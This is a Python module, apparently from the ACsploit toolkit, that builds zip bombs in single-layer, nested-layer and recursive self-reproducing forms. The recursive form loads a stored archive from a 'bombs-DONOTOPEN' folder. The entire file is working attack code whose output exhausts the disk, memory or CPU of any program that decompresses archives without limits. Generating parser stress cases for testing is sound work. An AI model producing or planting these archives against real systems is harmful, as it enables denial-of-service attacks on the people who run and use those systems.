import os
import io
import math
import zipfile

from acsploit.options import Options


options = Options()
options.add_option('type', 'recursive', 'Type of bomb', ['single_layer', 'layer', 'recursive'])
options.add_option('target_size', 100000,
                   'Desired size of decompressed file in bytes (not applicable to recursive bombs)')
options.add_option('n_layers', 3,
                   'Number of nested layers of zip files (only relevant for layer bombs)')

DESCRIPTION = 'Produces a zip archive that expands into a very large file or set of files.\n\n  The "recursive" bomb ' \
              'produces a self-reproducing bomb that will continue to decompress unless a ' \
              'limit is set in the parser (see https://research.swtch.com/zip for a full description.) The "single_layer" ' \
              'bomb creates a single file which decompresses to the target size in bytes. The single_layer bomb may use ' \
              'significant resources when built for large sizes, as ACsploit compresses the payload itself. Use caution.' \
              'when executing with this option. The "layered" bomb contains nested archives with the depth controlled by ' \
              'the "n_layers" parameter.'

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {
    'final_newline': False,
    'format': 'binary'
}


def run(output):
    if options['type'] == 'recursive':
        with open(os.path.join(os.path.dirname(os.path.realpath(__file__)),
                               'bombs-DONOTOPEN', 'zip_recursive.zip'), 'rb') as f:
            zip_contents = f.read()
    elif options['type'] == 'single_layer':
        zip_contents = make_single_layer_bomb(options['target_size'])
    elif options['type'] == 'layer':
        zip_contents = make_layered_zip_bomb(options['target_size'], options['n_layers'])
    else:
        raise AssertionError('Unknown zip bomb type: this should be impossible')

    output.output([zip_contents])


def make_copies_and_compress(contents, n_copies):
    with io.BytesIO() as memfile:
        with zipfile.ZipFile(memfile, 'w', zipfile.ZIP_DEFLATED) as f:
            for i in range(n_copies):
                f.writestr('file_{}.zip'.format(i), contents)
        return memfile.getvalue()


def make_layered_zip_bomb(target_size, n_layers, base_file_size=100000):
    n_files = math.ceil(target_size / base_file_size)
    files_per_layer = math.ceil(n_files ** (1 / n_layers))

    zip_contents = make_single_layer_bomb(files_per_layer * base_file_size, base_file_size)

    for i in range(n_layers):
        zip_contents = make_copies_and_compress(zip_contents, files_per_layer)

    return zip_contents


def make_single_layer_bomb(target_size, file_size=100000):
    # io.BytesIO object allows for writing large files without consuming copious amounts of memory
    with io.BytesIO() as memfile:
        with zipfile.ZipFile(memfile, 'w', zipfile.ZIP_DEFLATED) as f:
            for i in range(target_size // file_size):
                f.writestr('file_{}'.format(i), '0' * file_size)
            if target_size % file_size > 0:
                f.writestr('file_{}'.format(target_size // file_size), '0' * (target_size % file_size))
        return memfile.getvalue()
